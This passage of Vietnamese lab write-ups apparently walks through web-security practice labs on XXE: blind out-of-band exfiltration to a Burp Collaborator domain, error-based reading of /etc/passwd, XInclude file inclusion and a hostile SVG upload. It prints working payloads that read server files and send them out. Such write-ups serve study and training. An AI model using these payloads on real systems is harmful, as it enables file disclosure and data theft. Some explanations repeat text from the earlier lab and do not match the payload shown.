truy vấn dữ liệu bên trong tuy nhiên ở bài lab lại không thể nhìn thấy kết quả được hiển thị trực tiếp (Hình 1.1) ![image](https://hackmd.io/_uploads/BkxFs7o4A.png) Hình 1.1. Yêu cầu của bài lab - Sau một hồi xem trang web em thấy có 1 tính năng khả đó là `checkStock` khi mà nó có thể truy xuất dữ liệu từ server mà không cần load lại trang web (Hình 1.2) ![image](https://hackmd.io/_uploads/By0c6hqVR.png) Hình 1.2. Tính năng `CheckStock` để hiện thi số lượng mặt hàng còn lại của riêng mỗi sản phẩm - Tuy không load lại nhưng vẫn có request POST được chạy ngầm để truy xuất thông tin về số lượng bằng XML (Hình 1.3) ![image](https://hackmd.io/_uploads/BywjXQiNR.png) Hình 1.3. BurpSuite đã bắt được gói tin gửi để truy xuất số lượng **2. Đặt giả thuyết** - Với bài lab lần trước chúng ta đã thực hiện được truy vấn tới website bên ngoài tuy nhiên chưa có gì nguy hiểm cả. - Vậy liệu chúng ta có thể đọc dữ liệu bên trong server rồi gửi chúng ra bên ngoài bằng cách kết hợp giữa việc gửi request để đọc dữ liệu bên trong sau đó gửi nó ra bên ngoài được không ? **3. Tiến hành khai thác** - Chúng ta có thể chia làm 2 bước đó là - Đầu tiên, tạo một tệp DTD chứa payload của việc đọc dữ liệu trên server và một domain Collaborator chứa thực thể mà đã đọc dữ liệu trên server. - Bước 2 là định nghĩa một thực thể mới để gọi tệp DTD đã tạo sau đó thực thi chúng - Payload để tạo tệp DTD làm 2 việc là đọc dữ liệu và gán dữ liệu vào URL của Collaborator là: ``` <!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://k1mv5a73lypxtrcu8ebtz1oqdhj870vp.oastify.com/?x=%file;'>"> %eval; %exfil; ``` - Giải thích: - `<!ENTITY % file SYSTEM "file:///etc/hostname">` - `<!ENTITY % ...>`: Định nghĩa một thực thể tham số (parameter entity). Thực thể tham số được sử dụng bên trong DTD. - `%file`: Tên của thực thể tham số. - `SYSTEM "file:///etc/hostname"`: Cho biết thực thể tham số này được xác định bởi một URI. Ở đây, URI trỏ đến tệp /etc/hostname trên hệ thống tập tin. - `<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://BURP-COLLABORATOR-SUBDOMAIN/?x=%file;'>">` - `<!ENTITY % ...>`: Định nghĩa một thực thể tham số khác. - `%eval`: Tên của thực thể tham số mới. - `"<!ENTITY &#x25; exfil SYSTEM 'http://BURP-COLLABORATOR-SUBDOMAIN/?x=%file;'>"`: Giá trị của thực thể tham số %eval là một chuỗi DTD mới, trong đó có một thực thể tham số khác (%exfil). - `&#x25;`: Đây là mã ký tự cho dấu %. Khi parser XML xử lý, nó sẽ chuyển đổi `&#x25;` thành %. - `'http://BURP-COLLABORATOR-SUBDOMAIN/?x=%file;'`: URL mà thực thể `%exfil` sẽ truy cập, với giá trị của thực thể `%file` được chèn vào. - `%eval;` - %eval;: Kích hoạt thực thể tham số %eval, điều này sẽ chèn định nghĩa của thực thể %exfil vào DTD. - `%exfil;` - `%exfil;`: Kích hoạt thực thể tham số `%exfil`, điều này sẽ gửi một yêu cầu HTTP đến URL `http://BURP-COLLABORATOR-SUBDOMAIN/?x=...` với nội dung của tệp `/etc/hostname`. - Vậy thì lưu DTD mà mình vừa tạo ở trên ở đâu ? Mình có thể thể lưu nó trên một server của mình rồi sau đó sẽ tạo một thực thể ở server lab để gọi tới file DTD bên ngoài này. - Tuy nhiên thì ở bài lab này họ cho sẵn 1 server để tạo mã exploit nên ta chỉ cần vào đó dán đoạn mã đã tạo vào phần body Hình 3.1. File DTD mà sau này sẽ tạo thực thể xml mới để xử lí dữ liệu từ đây - Sau khi tạo ra được trang web có chứa file DTD đó rồi thì ta chỉ cần định nghĩa một thực thể đọc file đó và xử lí những thẻ xml trong Request lấy thông tin về số lượng sản phân như mấy bài lab trước - Pay load để làm điều này: ``` <!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "Link_web_chứa_DTD"> %xxe;]> ``` - Chèn payload vào mã XML trong Request tới server (Hình 3.2) ![image](https://hackmd.io/_uploads/rJ8LFdjNR.png) Hình 3.2. Gửi Request chứa mã XML đã được thêm payload - Sau đó vào check Burp Collaborator để xem các gói tin mà Request tới ![image](https://hackmd.io/_uploads/SyRF9uoE0.png) Hình 3.3. Kết quả được gửi tới Burp Collaborator - Lấy mã đó và đi nộp đã solve được bài lab (Hình 3.4) ![image](https://hackmd.io/_uploads/r1XWi7oV0.png) Hình 3.4. Bài lab đã được solve --- Lab: Exploiting blind XXE to retrieve data via error messages --- **1. Chức năng của ứng dụng** - Yêu cầu của bài lab này đó là khai thác XXE bằng cách dùng các thực thể ngoài để truy vấn dữ liệu bên trong tuy nhiên ở bài lab lại không thể nhìn thấy kết quả được hiển thị trực tiếp (Hình 1.1) ![image](https://hackmd.io/_uploads/rJ7yAOsVC.png) Hình 1.1. Yêu cầu của bài lab - Sau một hồi xem trang web em thấy có 1 tính năng khả đó là `checkStock` khi mà nó có thể truy xuất dữ liệu từ server mà không cần load lại trang web (Hình 1.2) ![image](https://hackmd.io/_uploads/By0c6hqVR.png) Hình 1.2. Tính năng `CheckStock` để hiện thi số lượng mặt hàng còn lại của riêng mỗi sản phẩm - Tuy không load lại nhưng vẫn có request POST được chạy ngầm để truy xuất thông tin về số lượng bằng XML (Hình 1.3) ![image](https://hackmd.io/_uploads/BywjXQiNR.png) Hình 1.3. BurpSuite đã bắt được gói tin gửi để truy xuất số lượng **2. Đặt giả thuyết** - Với bài lab lần trước chúng ta đã thực hiện được truy vấn tới website bên ngoài và đẩy dữ liệu ra bên ngoài - Tuy nhiên lần này bài lab muốn chúng ta đọc dữ liệu dựa trên thông báo lỗi - Lần trước chúng ta đã sử dụng link Burp Collaborator hợp lệ rồi nếu như lần này chúng ta đẩy vào một đường dẫn không hợp lệ nhưng vẫn chứa thực thể xml gọi tới file hệ thống thì trang web có đẩy lỗi chứa phần thực thể xml đã được thực thi không ? **3. Tiến hành khai thác** - Chúng ta có thể chia làm 2 bước đó là - Đầu tiên, tạo một tệp DTD chứa payload của việc đọc dữ liệu trên server và một đường dẫn file không hợp lệ chứa thực thể mà đã đọc dữ liệu trên server. - Bước 2 là định nghĩa một thực thể mới để gọi tệp DTD đã tạo sau đó thực thi chúng - Payload để tạo tệp DTD làm 2 việc là đọc dữ liệu và gán dữ liệu vào đường dẫn file không hợp lệ là: ``` <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>"> %eval; %exfil; ``` - Giải thích: - `<!ENTITY % file SYSTEM "file:///etc/passwd">` - Định nghĩa thực thể tham số `%file` để đọc nội dung của tệp `/etc/passwd`. - `%file` sẽ chứa toàn bộ nội dung của tệp `/etc/passwd` - `<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file://invalid/%file;'>">` - `<!ENTITY % ...>`: Định nghĩa một thực thể tham số khác. - `%eval`: Tên của thực thể tham số mới. - `"<!ENTITY &#x25; exfil SYSTEM 'http://BURP-COLLABORATOR-SUBDOMAIN/?x=%file;'>"`: Giá trị của thực thể tham số %eval là một chuỗi DTD mới, trong đó có một thực thể tham số khác (%exfil). - `&#x25;`: Đây là mã ký tự cho dấu %. Khi parser XML xử lý, nó sẽ chuyển đổi `&#x25;` thành %. - `'file:///invalid/%file;'`: URL mà thực thể `%exfil` sẽ truy cập, với giá trị của thực thể `%file` được chèn vào. - `%eval;` - %eval;: Kích hoạt thực thể tham số %eval, điều này sẽ chèn định nghĩa của thực thể %exfil vào DTD. - `%exfil;` - `%exfil;`: Kích hoạt thực thể tham số `%exfil`, điều này sẽ gửi một yêu cầu HTTP đến URL `http://BURP-COLLABORATOR-SUBDOMAIN/?x=...` với nội dung của tệp `/etc/hostname`. - Vậy thì lưu DTD mà mình vừa tạo ở trên ở đâu ? Mình có thể thể lưu nó trên một server của mình rồi sau đó sẽ tạo một thực thể ở server lab để gọi tới file DTD bên ngoài này. - Tuy nhiên thì ở bài lab này họ cho sẵn 1 server để tạo mã exploit nên ta chỉ cần vào đó dán đoạn mã đã tạo vào phần body ![image](https://hackmd.io/_uploads/Hyx48YiEA.png) Hình 3.1. File DTD mà sau này sẽ tạo thực thể xml mới để xử lí dữ liệu từ đây - Sau khi tạo ra được trang web có chứa file DTD đó rồi thì ta chỉ cần định nghĩa một thực thể đọc file đó và xử lí những thẻ xml trong Request lấy thông tin về số lượng sản phẩm như mấy bài lab trước - Payload để làm điều này: ``` <!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "Link_web_chứa_DTD"> %xxe;]> ``` - Chèn payload vào mã XML trong Request tới server (Hình 3.2) ![image](https://hackmd.io/_uploads/B1TDStoE0.png) Hình 3.2. Gửi Request chứa mã XML đã được thêm payload và nhận về Response chứa lỗi và nội dung tệp tin - Có thể thấy ở ảnh trên server đã báo lỗi là không tại file này tuy nhiên lại đưa thẳng đưuòng dẫn của file đó xuất hiện mà trong đường dẫn của file mình đã kèm nội dung của file `/etc/passwd` trước đó mình đã nêu - Đã solve được bài lab (Hình 3.3) ![image](https://hackmd.io/_uploads/ry2uItoVA.png) Hình 3.3. Bài lab đã được solve --- Lab: Exploiting XInclude to retrieve files --- **1. Chức năng của ứng dụng** - Yêu cầu của bài lab này là thêm câu lệnh XInclude để đọc tệp `/etc/passwd` (Hình 1.1) ![image](https://hackmd.io/_uploads/ryrQoFjNC.png) Hình 1.1. Yêu cầu của bài lab - Bài này vẫn có tính năng `checkStock` để truy xuất dữ liệu từ server để lấy thông tin sản phẩm còn thiếu, tuy nhiên lần này khi check trong BurpSuite lại không thấy cấu trúc xml nữa (Hình 1.2) ![image](https://hackmd.io/_uploads/rJzT2Ko4C.png) Hình 1.2. Tính năng `CheckStock` để hiện thị số lượng mặt hàng còn lại của riêng mỗi sản phẩm **2. Đặt giả thuyết** - Khi không còn nhìn thấy cấu trúc XML vậy chúng ta chèn các thực thể xml vào đâu ? - Em đã thử chuyển cấu trúc sang xml thử tuy nhiên là ứng dụng không chấp nhận điều này (Hình 2.1) ![image](https://hackmd.io/_uploads/rJ3pZcsNA.png) Hình 2.1. Khi đổi cấu trúc sang xml cũng không được - Chúng ta đành sử dụng theo cách của bài làm là dùng `XInclude` **3. Tiến hành khai thác** - Sau khi research về cách dùng `XInclude` thì em có payload như sau ``` <foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo> ``` - Giải thích: - `<foo xmlns:xi="http://www.w3.org/2001/XInclude">`: Đây là phần tử gốc foo của tài liệu XML. Thuộc tính `xmlns:xi` khai báo namespace cho các phần tử XInclude, cho phép sử dụng các phần tử `xi:include` trong tài liệu này. - `<xi:include parse="text" href="file:///etc/passwd"/>`: Phần tử `xi:include` yêu cầu bao gồm nội dung của tệp tin `/etc/passwd`. - `parse="text"`: Chỉ định rằng nội dung của tệp được bao gồm dưới dạng văn bản thô (text) chứ không phải là XML. Điều này có nghĩa là toàn bộ nội dung của tệp `/etc/passwd` sẽ được chèn vào vị trí của phần tử xi:include dưới dạng văn bản. - `href="file:///etc/passwd"`: Chỉ định đường dẫn đến tệp tin cần bao gồm. Trong trường hợp này, nó là đường dẫn tuyệt đối tới tệp tin hệ thống `/etc/passwd` - Đưa payload vào và thấy đã trả về nội dung tệp `/etc/passwd` (Hình 3.1) ![image](https://hackmd.io/_uploads/B1d5U5i4R.png) Hình 3.1. Kết quả của tệp `/etc/passwd` ![image](https://hackmd.io/_uploads/ry2uItoVA.png) Hình 3.3. Bài lab đã được solve --- Lab: Exploiting XXE via image file upload --- **1. Chức năng của ứng dụng** - Lần này yêu cầu của ứng dụng đó chính là tấn công XXE thông qua tệp tải lên (Hình 1.1) ![image](https://hackmd.io/_uploads/HJkw35i4R.png) Hình 1.1. Yêu cầu của bài lab - Bài này tính năng đã khác các bài lab trước, lần này ứng dụng cho phép chúng ta bình luận vào các bài đăng trong đó có một vài chức năng như: Nhập comment, Name, Upload file avatar, Email và Website (Hình 1.2) ![image](https://hackmd.io/_uploads/rJk969s4A.png) Hình 1.2. Chức năng comment lên bài post **2. Đặt giả thuyết** - Chức năng duy nhất có thể xử dụng xml ở đây đó chính là upload. - Thông thường khi upload file chúng ta sẽ nghĩ tới các file shell chứa mã độc để RCE hệ thống. - Tuy nhiên sau khi em tìm kiếm thì có 1 file dựa trên XML để hoạt động đó chính là SVG (Scalable Vector Graphics) là một định dạng tệp đồ họa dựa trên XML để mô tả hình ảnh vector. - Vậy sẽ ra sao nếu chúng ta có thể tạo một file SVG để lời dụng được XML gây ra XXE ? **3. Tiến hành khai thác** - Đây là ví dụ đơn giản về tệp SVG (Hình 3.1) ![image](https://hackmd.io/_uploads/SkfWkosNA.png) Hình 3.1. Ví dụ đơn giản về tệp SVG - Dựa trên tệp đươn giản ở trên em có thể chèn các định nghĩa thực thể mới bên ngoài vào như các phần để tạp ra payload như sau: ``` <?xml version="1.0" standalone="yes"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]> <svg width="100" height="100" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> <text font-size="16" x="0" y="16">&xxe;</text> </svg> ``` - Tạo ra file svg với nội dung như trên và upload lên phần có chức năng upload (Hình 3.2) ![image](https://hackmd.io/_uploads/ByO9eiiVC.png) Hình 3.2. Upload lên file svg với nội dung như payload ở trên - Nội dung file `/etc/hostname` đã xuất hiện trong avartar của mình (Hình 3.3) ![image](https://hackmd.io/_uploads/ryMy7jj40.png) Hình 3.3. Nội dung file `/etc/hostname` trong ảnh - Nhập nội dung trong ảnh vào phần submit và bài lab đã được solve (Hình 3.4) ![image](https://hackmd.io/_uploads/S1BRzoj40.png) Hình 3.4. Bài lab đã được solve